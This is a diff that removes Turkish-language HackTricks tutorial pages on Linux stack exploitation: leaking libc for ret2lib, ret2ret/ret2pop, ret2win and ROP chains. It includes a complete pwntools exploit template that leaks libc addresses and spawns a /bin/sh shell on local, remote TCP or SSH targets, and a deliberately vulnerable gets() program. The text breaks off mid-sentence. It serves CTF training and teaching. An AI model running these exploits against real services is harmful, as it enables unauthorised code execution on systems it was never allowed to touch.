http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb --> Downloading package --> Extracting package --> Package saved to libs/libc6_2.23-0ubuntu10_amd64 -``` -`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` dosyasını çalışma dizinimize kopyalayın. - -### 3.3- Sızdırmak için diğer fonksiyonlar -```python -puts -printf -__libc_start_main -read -gets -``` -## 4- Bulunma temelli libc adresi ve istismar - -Bu noktada kullandığımız libc kütüphanesini bilmemiz gerekiyor. Yerel bir ikiliyi istismar ettiğimiz için sadece şunu kullanacağım: `/lib/x86_64-linux-gnu/libc.so.6` - -Bu nedenle, `template.py` dosyasının başında **libc** değişkenini şu şekilde değiştirin: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Kütüphane yolunu bildiğinizde ayarlayın` - -**libc kütüphanesine** **yolu** vererek, geri kalan **istismar otomatik olarak hesaplanacaktır**. - -`get_addr` fonksiyonu içinde **libc'nin temel adresi** hesaplanacaktır: -```python -if libc != "": -libc.address = leak - libc.symbols[func_name] #Save libc base -log.info("libc base @ %s" % hex(libc.address)) -``` -> [!NOTE] -> **Son libc temel adresinin 00 ile bitmesi gerektiğini** unutmayın. Eğer durumunuz böyle değilse, yanlış bir kütüphane sızdırmış olabilirsiniz. - -Daha sonra, `system` fonksiyonunun adresi ve _"/bin/sh"_ dizesinin **adresleri**, **libc**'nin **temel adresinden** hesaplanacak ve **libc kütüphanesi** verilecektir. -```python -BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh -SYSTEM = libc.sym["system"] -EXIT = libc.sym["exit"] - -log.info("bin/sh %s " % hex(BINSH)) -log.info("system %s " % hex(SYSTEM)) -``` -Sonunda, /bin/sh yürütme istismarı hazırlanacak ve gönderilecek: -```python -rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) - -p.clean() -p.sendline(rop2) - -#### Interact with the shell ##### -p.interactive() #Interact with the conenction -``` -Son ROP'u açıklayalım.\ -Son ROP (`rop1`), ana fonksiyonu tekrar çağırarak sona erdi, bu yüzden **yine istismar edebiliriz** **overflow** (bu yüzden `OFFSET` burada tekrar var). Ardından, **addres** _"/bin/sh"_ (`BINSH`) işaret eden `POP_RDI`'yi çağırmak ve **system** fonksiyonunu (`SYSTEM`) çağırmak istiyoruz çünkü _"/bin/sh"_ adresi bir parametre olarak geçilecektir.\ -Son olarak, **çıkış fonksiyonunun adresi** **çağrılır** böylece işlem **güzelce çıkar** ve herhangi bir uyarı üretilmez. - -**Bu şekilde istismar bir _/bin/sh**_ shell'i çalıştıracaktır.** - -![](<../../../../../images/image (143).png>) - -## 4(2)- ONE_GADGET KULLANARAK - -Ayrıca [**ONE_GADGET** ](https://github.com/david942j/one_gadget) kullanarak **system** ve **"/bin/sh"** yerine bir shell elde edebilirsiniz. **ONE_GADGET**, libc kütüphanesi içinde sadece bir **ROP adresi** kullanarak bir shell elde etmenin bir yolunu bulacaktır.\ -Ancak, genellikle bazı kısıtlamalar vardır, en yaygın ve kolayca aşılabilenler `[rsp+0x30] == NULL` gibidir. **RSP** içindeki değerleri kontrol ettiğiniz için, kısıtlamanın aşılması için sadece biraz daha NULL değeri göndermeniz yeterlidir. - -![](<../../../../../images/image (615).png>) -```python -ONE_GADGET = libc.address + 0x4526a -rop2 = base + p64(ONE_GADGET) + "\x00"*100 -``` -## EXPLOIT DOSYASI - -Bu güvenlik açığını istismar etmek için bir şablonu burada bulabilirsiniz: - -{{#ref}} -rop-leaking-libc-template.md -{{#endref}} - -## Yaygın problemler - -### MAIN_PLT = elf.symbols\['main'] bulunamadı - -Eğer "main" sembolü yoksa, ana kodun nerede olduğunu bulabilirsiniz: -```python -objdump -d vuln_binary | grep "\.text" -Disassembly of section .text: -0000000000401080 <.text>: -``` -ve adresi manuel olarak ayarlayın: -```python -MAIN_PLT = 0x401080 -``` -### Puts bulunamadı - -Eğer ikili dosya Puts kullanmıyorsa, kullanıp kullanmadığını kontrol etmelisiniz. - -### `sh: 1: %s%s%s%s%s%s%s%s: bulunamadı` - -Eğer **tüm** istismarı oluşturduktan sonra bu **hata** ile karşılaşırsanız: `sh: 1: %s%s%s%s%s%s%s%s: bulunamadı` - -**"/bin/sh" adresinden 64 byte çıkarmayı** deneyin: -```python -BINSH = next(libc.search("/bin/sh")) - 64 -``` -{{#include ../../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md deleted file mode 100644 index 43711e9c9..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md +++ /dev/null @@ -1,211 +0,0 @@ -{{#include ../../../../../banners/hacktricks-training.md}} -```python:template.py -from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools - - -################### -### CONNECTION #### -################### -LOCAL = False -REMOTETTCP = True -REMOTESSH = False -GDB = False -USE_ONE_GADGET = False - -LOCAL_BIN = "./vuln" -REMOTE_BIN = "~/vuln" #For ssh -LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it -ENV = {"LD_PRELOAD": LIBC} if LIBC else {} - -if LOCAL: -P = process(LOCAL_BIN, env=ENV) # start the vuln binary -ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary -ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - -elif REMOTETTCP: -P = remote('10.10.10.10',1339) # start the vuln binary -ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary -ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - -elif REMOTESSH: -ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) -p = ssh_shell.process(REMOTE_BIN) # start the vuln binary -elf = ELF(LOCAL_BIN)# Extract data from binary -rop = ROP(elf)# Find ROP gadgets - -if GDB and not REMOTETTCP and not REMOTESSH: -# attach gdb and continue -# You can set breakpoints, for example "break *main" -gdb.attach(P.pid, "b *main") - - - -######################### -#### OFFSET FINDER ###### -######################### - -OFFSET = b"" #b"A"*264 -if OFFSET == b"": -gdb.attach(P.pid, "c") #Attach and continue -payload = cyclic(264) -payload += b"AAAAAAAA" -print(P.clean()) -P.sendline(payload) -#x/wx $rsp -- Search for bytes that crashed the application -#print(cyclic_find(0x63616171)) # Find the offset of those bytes -P.interactive() -exit() - - - -#################### -### Find Gadgets ### -#################### -try: -libc_func = "puts" -PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts -except: -libc_func = "printf" -PUTS_PLT = ELF_LOADED.plt['printf'] - -MAIN_PLT = ELF_LOADED.symbols['main'] -POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi" -RET = (ROP_LOADED.find_gadget(['ret']))[0] - -log.info("Main start: " + hex(MAIN_PLT)) -log.info("Puts plt: " + hex(PUTS_PLT)) -log.info("pop rdi; ret gadget: " + hex(POP_RDI)) -log.info("ret gadget: " + hex(RET)) - - -######################## -### Find LIBC offset ### -######################## - -def generate_payload_aligned(rop): -payload1 = OFFSET + rop -if (len(payload1) % 16) == 0: -return payload1 - -else: -payload2 = OFFSET + p64(RET) + rop -if (len(payload2) % 16) == 0: -log.info("Payload aligned successfully") -return payload2 -else: -log.warning(f"I couldn't align the payload! Len: {len(payload1)}") -return payload1 - - -def get_addr(libc_func): -FUNC_GOT = ELF_LOADED.got[libc_func] -log.info(libc_func + " GOT @ " + hex(FUNC_GOT)) -# Create rop chain -rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) -rop1 = generate_payload_aligned(rop1) - -# Send our rop-chain payload -#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received -print(P.clean()) # clean socket buffer (read all and print) -P.sendline(rop1) - -# If binary is echoing back the payload, remove that message -recieved = P.recvline().strip() -if OFFSET[:30] in recieved: -recieved = P.recvline().strip() - -# Parse leaked address -log.info(f"Len rop1: {len(rop1)}") -leak = u64(recieved.ljust(8, b"\x00")) -log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}") - -# Set lib base address -if LIBC: -LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base -print("If LIBC base doesn't end end 00, you might be using an icorrect libc library") -log.info("LIBC base @ %s" % hex(LIBC.address)) - -# If not LIBC yet, stop here -else: -print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)") -P.interactive() - -return hex(leak) - -get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base - - - -############################# -#### FINAL EXPLOITATION ##### -############################# - -## Via One_gadget (https://github.com/david942j/one_gadget) -# gem install one_gadget -def get_one_gadgets(libc): -import string, subprocess -args = ["one_gadget", "-r"] -if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()): -args += ["-b", libc.hex()] -else: -args += [libc] -try: -one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()] -except: -print("One_gadget isn't installed") -one_gadgets = [] -return - -rop2 = b"" -if USE_ONE_GADGET: -one_gadgets = get_one_gadgets(LIBC) -if one_gadgets: -rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains - -## Normal/Long exploitation -if not rop2: -BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh -SYSTEM = LIBC.sym["system"] -EXIT = LIBC.sym["exit"] - -log.info("POP_RDI %s " % hex(POP_RDI)) -log.info("bin/sh %s " % hex(BINSH)) -log.info("system %s " % hex(SYSTEM)) -log.info("exit %s " % hex(EXIT)) - -rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT) -rop2 = generate_payload_aligned(rop2) - - -print(P.clean()) -P.sendline(rop2) - -P.interactive() #Interact with your shell :) -``` -# Yaygın problemler - -## MAIN_PLT = elf.symbols\['main'] bulunamadı - -Eğer "main" sembolü yoksa (muhtemelen çünkü bu bir stripped binary). O zaman ana kodun nerede olduğunu bulabilirsiniz: -```python -objdump -d vuln_binary | grep "\.text" -Disassembly of section .text: -0000000000401080 <.text>: -``` -ve adresi manuel olarak ayarlayın: -```python -MAIN_PLT = 0x401080 -``` -## Puts bulunamadı - -Eğer ikili dosya Puts kullanmıyorsa, kullanıp kullanmadığını kontrol etmelisiniz. - -## `sh: 1: %s%s%s%s%s%s%s%s: bulunamadı` - -Eğer **tüm** istismarı oluşturduktan sonra bu **hata** ile karşılaşırsanız: `sh: 1: %s%s%s%s%s%s%s%s: bulunamadı` - -**"/bin/sh" adresinden 64 bayt çıkarmayı** deneyin: -```python -BINSH = next(libc.search("/bin/sh")) - 64 -``` -{{#include ../../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md deleted file mode 100644 index d68ab333c..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md +++ /dev/null @@ -1,33 +0,0 @@ -# Ret2ret & Reo2pop - -{{#include ../../../banners/hacktricks-training.md}} - -## Ret2ret - -Bu tekniğin ana hedefi, **stack'teki mevcut bir işaretçiyi kötüye kullanarak ASLR'yi atlatmaya çalışmaktır**. - -Temelde, stack taşmaları genellikle dizelerden kaynaklanır ve **dizeler bellekte sonlarında bir null byte ile biter**. Bu, stack'te zaten mevcut olan bir işaretçinin gösterdiği yeri azaltmayı denemeye olanak tanır. Yani eğer stack `0xbfffffdd` içeriyorsa, bu taşma onu `0xbfffff00`'a dönüştürebilir (son sıfırlanmış byte'a dikkat edin). - -Eğer bu adres stack'teki shellcode'umuza işaret ediyorsa, akışı o adrese ulaştırmak mümkündür **`ret` talimatına adresler ekleyerek** bu adres ulaşılana kadar. - -Bu nedenle saldırı şöyle olacaktır: - -- NOP sled -- Shellcode -- EIP'den stack'i **`ret` adresleri ile üzerine yazmak** (RET sled) -- 0x00, stack'teki bir adresi değiştirerek NOP sled'e işaret etmesini sağlamak için dize tarafından eklenir - -[**bu bağlantıya**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) bakarak savunmasız bir ikili örneği görebilirsiniz ve [**bu bağlantıda**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) ise istismarı görebilirsiniz. - -## Ret2pop - -Eğer **değiştirmek istemediğiniz stack'te mükemmel bir işaretçi bulursanız** (ret2ret'te son en düşük byte'ı `0x00` olarak değiştiriyoruz), aynı `ret2ret` saldırısını gerçekleştirebilirsiniz, ancak **RET sled'in uzunluğu 1 azaltılmalıdır** (böylece son `0x00` mükemmel işaretçinin hemen öncesindeki veriyi üzerine yazar) ve **RET sled'in son** adresi **`pop ; ret`**'e işaret etmelidir.\ -Bu şekilde, **mükemmel işaretçiden önceki veri stack'ten kaldırılacaktır** (bu `0x00` tarafından etkilenen veridir) ve **son `ret`, stack'teki mükemmel adrese herhangi bir değişiklik olmadan işaret edecektir**. - -[**bu bağlantıya**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) bakarak savunmasız bir ikili örneği görebilirsiniz ve [**bu bağlantıda**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) ise istismarı görebilirsiniz. - -## References - -- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md deleted file mode 100644 index 38cab45a4..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md +++ /dev/null @@ -1,91 +0,0 @@ -# Ret2win - -{{#include ../../../banners/hacktricks-training.md}} - -## Temel Bilgiler - -**Ret2win** zorlukları, özellikle **binary exploitation** içeren görevlerde, **Capture The Flag (CTF)** yarışmalarında popüler bir kategoridir. Amaç, belirli bir ikili dosyada bir açığı kullanarak, genellikle `win`, `flag` gibi bir isimle adlandırılan, çağrılmamış bir fonksiyonu çalıştırmaktır. Bu fonksiyon çalıştırıldığında genellikle bir bayrak veya başarı mesajı yazdırır. Zorluk genellikle, istenen fonksiyona yürütme akışını yönlendirmek için yığında **return address**'i geçersiz kılmayı içerir. İşte daha ayrıntılı bir açıklama ve örnekler: - -### C Örneği - -Bir açığı olan basit bir C programını ve çağırmayı amaçladığımız `win` fonksiyonunu düşünün: -```c -#include -#include - -void win() { -printf("Congratulations! You've called the win function.\n"); -} - -void vulnerable_function() { -char buf[64]; -gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow. -} - -int main() { -vulnerable_function(); -return 0; -} -``` -Bu programı yığın korumaları olmadan ve **ASLR** devre dışı bırakılmış olarak derlemek için aşağıdaki komutu kullanabilirsiniz: -```sh -gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c -``` -- `-m32`: Programı 32-bit ikili olarak derle (bu isteğe bağlıdır ama CTF yarışmalarında yaygındır). -- `-fno-stack-protector`: Yığın taşmalarına karşı korumaları devre dışı bırak. -- `-z execstack`: Yığında kodun çalışmasına izin ver. -- `-no-pie`: `win` fonksiyonunun adresinin değişmemesini sağlamak için Konum Bağımsız İkiliyi devre dışı bırak. -- `-o vulnerable`: Çıktı dosyasının adını `vulnerable` olarak belirle. - -### Python Exploit using Pwntools - -Exploit için **pwntools** kullanacağız, bu güçlü bir CTF çerçevesidir ve exploit yazmak için kullanılır. Exploit betiği, tamponu taşırmak ve dönüş adresini `win` fonksiyonunun adresi ile değiştirmek için bir yük oluşturacaktır. -```python -from pwn import * - -# Set up the process and context for the binary -binary_path = './vulnerable' -p = process(binary_path) -context.binary = binary_path - -# Find the address of the win function -win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary - -# Create the payload -# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address. -payload = b'A' * 68 + win_addr - -# Send the payload -p.sendline(payload) -p.interactive() -``` -`win` fonksiyonunun adresini bulmak için **gdb**, **objdump** veya ikili dosyaları incelemenizi sağlayan başka bir araç kullanabilirsiniz. Örneğin, `objdump` ile şunu kullanabilirsiniz: -```sh -objdump -d vulnerable | grep win -``` -Bu komut, `win` fonksiyonunun montajını, başlangıç adresi de dahil olmak üzere gösterecektir. - -Python betiği, `vulnerable_function` tarafından işlendiğinde, tamponu taşıran ve yığın üzerindeki dönüş adresini `win` adresi ile değiştiren dikkatlice hazırlanmış bir mesaj gönderir. `vulnerable_function` döndüğünde, `main`'e veya çıkışa dönmek yerine `win`'e atlar ve mesaj yazdırılır. - -## Koruma Önlemleri - -- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **devre dışı bırakılmalıdır** ki adres, yürütmeler arasında güvenilir olsun; aksi takdirde fonksiyonun saklanacağı adres her zaman aynı olmayacak ve `win` fonksiyonunun nerede yüklü olduğunu anlamak için bir sızıntıya ihtiyacınız olacak. Bazı durumlarda, taşmaya neden olan fonksiyon `read` veya benzeri olduğunda, dönüş adresini `win` fonksiyonu olacak şekilde değiştirmek için 1 veya 2 baytlık **Kısmi Üst Yazma** yapabilirsiniz. ASLR'nin çalışma şekli nedeniyle, son üç hex nibble rastgeleleştirilmez, bu nedenle doğru dönüş adresini elde etme şansı **1/16** (1 nibble) olacaktır. -- [**Yığın Kanalları**](../common-binary-protections-and-bypasses/stack-canaries/index.html) da devre dışı bırakılmalıdır, aksi takdirde tehlikeye atılmış EIP dönüş adresi asla takip edilmeyecektir. - -## Diğer örnekler & Referanslar - -- [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win) -- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html) -- 32bit, ASLR yok -- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html) -- 64 bit ASLR ile, bin adresinin sızıntısı ile -- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html) -- 64 bit, ASLR yok -- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html) -- 32 bit, ASLR yok, çift küçük taşma, ilk olarak yığını taşır ve ikinci taşmanın boyutunu büyütür -- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) -- 32 bit, relro, kanarya yok, nx, pie yok, `fflush` adresini `win` fonksiyonu ile (ret2win) üst yazmak için format dizesi -- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) -- 64 bit, relro, kanarya yok, nx, pie. `win` fonksiyonunu çağırmak için kısmi üst yazma (ret2win) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md deleted file mode 100644 index 497feda7b..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md +++ /dev/null @@ -1,176 +0,0 @@ -# ROP - Return Oriented Programing - -{{#include ../../../banners/hacktricks-training.md}} - -## **Temel Bilgiler** - -**Return-Oriented Programming (ROP)**, **No-Execute (NX)** veya **Data Execution Prevention (DEP)** gibi güvenlik önlemlerini aşmak için kullanılan ileri düzey bir istismar tekniğidir. Bir saldırgan, shellcode enjekte etmek ve çalıştırmak yerine, ikili dosyada veya yüklenmiş kütüphanelerde zaten mevcut olan kod parçalarını, yani **"gadgets"** kullanır. Her gadget genellikle bir `ret` talimatı ile biter ve kayıtlar arasında veri taşımak veya aritmetik işlemler yapmak gibi küçük bir işlem gerçekleştirir. Bu gadget'ları bir araya getirerek, bir saldırgan keyfi işlemler gerçekleştirmek için bir yük oluşturabilir ve böylece NX/DEP korumalarını etkili bir şekilde aşabilir. - -### ROP Nasıl Çalışır - -1. **Kontrol Akışını Ele Geçirme**: İlk olarak, bir saldırgan bir programın kontrol akışını ele geçirmelidir; bu genellikle bir tampon taşması istismarı ile yığın üzerindeki kaydedilmiş dönüş adresini geçersiz kılmakla yapılır. -2. **Gadget Zincirleme**: Saldırgan daha sonra istenen eylemleri gerçekleştirmek için gadget'ları dikkatlice seçer ve zincirler. Bu, bir fonksiyon çağrısı için argümanları ayarlamayı, fonksiyonu çağırmayı (örneğin, `system("/bin/sh")`) ve gerekli temizlik veya ek işlemleri yönetmeyi içerebilir. -3. **Yükün Çalıştırılması**: Zayıf fonksiyon döndüğünde, meşru bir konuma dönmek yerine gadget zincirini çalıştırmaya başlar. - -### Araçlar - -Genellikle, gadget'lar **[ROPgadget](https://github.com/JonathanSalwan/ROPgadget)**, **[ropper](https://github.com/sashs/Ropper)** veya doğrudan **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)) kullanılarak bulunabilir. - -## x86 Örneğinde ROP Zinciri - -### **x86 (32-bit) Çağrı Konvansiyonları** - -- **cdecl**: Çağrıyı yapan yığını temizler. Fonksiyon argümanları yığına ters sırayla (sağdan sola) itilir. **Argümanlar yığına sağdan sola itilir.** -- **stdcall**: cdecl'e benzer, ancak çağrılan fonksiyon yığını temizlemekten sorumludur. - -### **Gadget Bulma** - -Öncelikle, ikili dosya veya yüklenmiş kütüphaneler içinde gerekli gadget'ları tanımladığımızı varsayalım. İlgilendiğimiz gadget'lar şunlardır: - -- `pop eax; ret`: Bu gadget, yığının en üstündeki değeri `EAX` kaydına alır ve ardından döner, böylece `EAX`'ı kontrol etmemizi sağlar. -- `pop ebx; ret`: Yukarıdaki gibi, ancak `EBX` kaydı için, `EBX` üzerinde kontrol sağlar. -- `mov [ebx], eax; ret`: `EAX`'taki değeri `EBX` tarafından işaret edilen bellek konumuna taşır ve ardından döner. Bu genellikle **write-what-where gadget** olarak adlandırılır. -- Ayrıca, `system()` fonksiyonunun adresine de sahibiz. - -### **ROP Zinciri** - -**pwntools** kullanarak, `system('/bin/sh')`'yi çalıştırmayı hedefleyerek ROP zinciri yürütmesi için yığını aşağıdaki gibi hazırlarız, zincirin nasıl başladığına dikkat edin: - -1. Hizalama amaçlı bir `ret` talimatı (isteğe bağlı) -2. `system` fonksiyonunun adresi (ASLR'nin devre dışı bırakıldığını ve libc'nin bilindiğini varsayarak, daha fazla bilgi için [**Ret2lib**](ret2lib/index.html)) -3. `system()`'den dönüş adresi için yer tutucu -4. `"/bin/sh"` dizesinin adresi (system fonksiyonu için parametre) -```python -from pwn import * - -# Assuming we have the binary's ELF and its process -binary = context.binary = ELF('your_binary_here') -p = process(binary.path) - -# Find the address of the string "/bin/sh" in the binary -bin_sh_addr = next(binary.search(b'/bin/sh\x00')) - -# Address of system() function (hypothetical value) -system_addr = 0xdeadc0de - -# A gadget to control the return address, typically found through analysis -ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address - -# Construct the ROP chain -rop_chain = [ -ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues -system_addr, # Address of system(). Execution will continue here after the ret gadget -0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place. -bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system() -] - -# Flatten the rop_chain for use -rop_chain = b''.join(p32(addr) for addr in rop_chain) - -# Send ROP chain -## offset is the number of bytes required to reach the return address on the stack -payload = fit({offset: rop_chain}) -p.sendline(payload) -p.interactive() -``` -## ROP Zinciri x64 Örneği - -### **x64 (64-bit) Çağrı Konvansiyonları** - -- Unix benzeri sistemlerde **System V AMD64 ABI** çağrı konvansiyonu kullanılır; burada **ilk altı tam sayı veya işaretçi argümanı `RDI`, `RSI`, `RDX`, `RCX`, `R8` ve `R9`** kayıtlarında iletilir. Ek argümanlar yığında iletilir. Dönüş değeri `RAX`'a yerleştirilir. -- **Windows x64** çağrı konvansiyonu, ilk dört tam sayı veya işaretçi argümanı için `RCX`, `RDX`, `R8` ve `R9` kullanır; ek argümanlar yığında iletilir. Dönüş değeri `RAX`'a yerleştirilir. -- **Kayıtlar**: 64-bit kayıtlar `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` ve `R8`'den `R15`'e kadar içerir. - -#### **Gadget Bulma** - -Amacımız için, **RDI** kaydını ayarlamamıza ( **"/bin/sh"** dizesini **system()** fonksiyonuna argüman olarak iletmek için) ve ardından **system()** fonksiyonunu çağırmamıza olanak tanıyacak gadget'lara odaklanalım. Aşağıdaki gadget'ları belirlediğimizi varsayıyoruz: - -- **pop rdi; ret**: Yığının en üstündeki değeri **RDI**'ye alır ve ardından döner. **system()** için argümanımızı ayarlamak için gereklidir. -- **ret**: Basit bir dönüş, bazı senaryolarda yığın hizalaması için faydalıdır. - -Ve **system()** fonksiyonunun adresini bildiğimizi biliyoruz. - -### **ROP Zinciri** - -Aşağıda, **pwntools** kullanarak **system('/bin/sh')**'i **x64** üzerinde çalıştırmayı hedefleyen bir ROP zinciri kurma ve yürütme örneği bulunmaktadır: -```python -from pwn import * - -# Assuming we have the binary's ELF and its process -binary = context.binary = ELF('your_binary_here') -p = process(binary.path) - -# Find the address of the string "/bin/sh" in the binary -bin_sh_addr = next(binary.search(b'/bin/sh\x00')) - -# Address of system() function (hypothetical value) -system_addr = 0xdeadbeefdeadbeef - -# Gadgets (hypothetical values) -pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret -ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary - -# Construct the ROP chain -rop_chain = [ -ret_gadget, # Alignment gadget, if needed -pop_rdi_gadget, # pop rdi; ret -bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system() -system_addr # Address of system(). Execution will continue here. -] - -# Flatten the rop_chain for use -rop_chain = b''.join(p64(addr) for addr in rop_chain) - -# Send ROP chain -## offset is the number of bytes required to reach the return address on the stack -payload = fit({offset: rop_chain}) -p.sendline(payload) -p.interactive() -``` -Bu örnekte: - -- **`RDI`**'yi **`"/bin/sh"`** adresine ayarlamak için **`pop rdi; ret`** gadget'ını kullanıyoruz. -- **`RDI`**'yi ayarladıktan sonra doğrudan **`system()`**'e atlıyoruz, zincirde **system()**'in adresi ile. -- Hedef ortamın gerektirmesi durumunda hizalama için **`ret_gadget`** kullanılır, bu da **x64**'te işlevleri çağırmadan önce doğru yığın hizalamasını sağlamak için daha yaygındır. - -### Yığın Hizalaması - -**x86-64 ABI** bir **call instruction** yürütüldüğünde **yığının 16-byte hizalı** olmasını garanti eder. **LIBC**, performansı optimize etmek için, bu hizalamayı gerektiren **SSE instructions** (örneğin **movaps**) kullanır. Yığın düzgün hizalanmamışsa (yani **RSP** 16'nın katı değilse), **system** gibi işlevlere yapılan çağrılar bir **ROP chain**'de başarısız olur. Bunu düzeltmek için, ROP zincirinizde **system**'i çağırmadan önce basitçe bir **ret gadget** ekleyin. - -## x86 ile x64 arasındaki ana fark - -> [!TIP] -> x64, ilk birkaç argüman için register'lar kullandığından, genellikle basit işlev çağrıları için x86'dan daha az gadget gerektirir, ancak doğru gadget'ları bulmak ve zincirlemek, register sayısının artması ve daha büyük adres alanı nedeniyle daha karmaşık olabilir. **x64** mimarisindeki artan register sayısı ve daha büyük adres alanı, özellikle Return-Oriented Programming (ROP) bağlamında istismar geliştirme için hem fırsatlar hem de zorluklar sunar. - -## Koruma Önlemleri - -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) -- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) - -## Diğer Örnekler ve Referanslar - -- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions) - -## ROP Tabanlı Teknikler - -ROP'un, keyfi kodu yürütmek için sadece bir teknik olduğunu unutmayın. ROP'a dayalı olarak birçok Ret2XXX tekniği geliştirilmiştir: - -- **Ret2lib**: Keyfi parametrelerle yüklü bir kütüphaneden keyfi işlevleri çağırmak için ROP kullanın (genellikle `system('/bin/sh')` gibi bir şey). - -{{#ref}} -ret2lib/ -{{#endref}} - -- **Ret2Syscall**: ROP kullanarak bir syscall'a, örneğin `execve`, çağrı hazırlamak ve keyfi komutları yürütmek için kullanın. - -{{#ref}} -rop-syscall-execv.md -{{#endref}} - -- **EBP2Ret & EBP Chaining**: İlki akışı kontrol etmek için EIP yerine EBP'yi kötüye kullanacak ve ikincisi 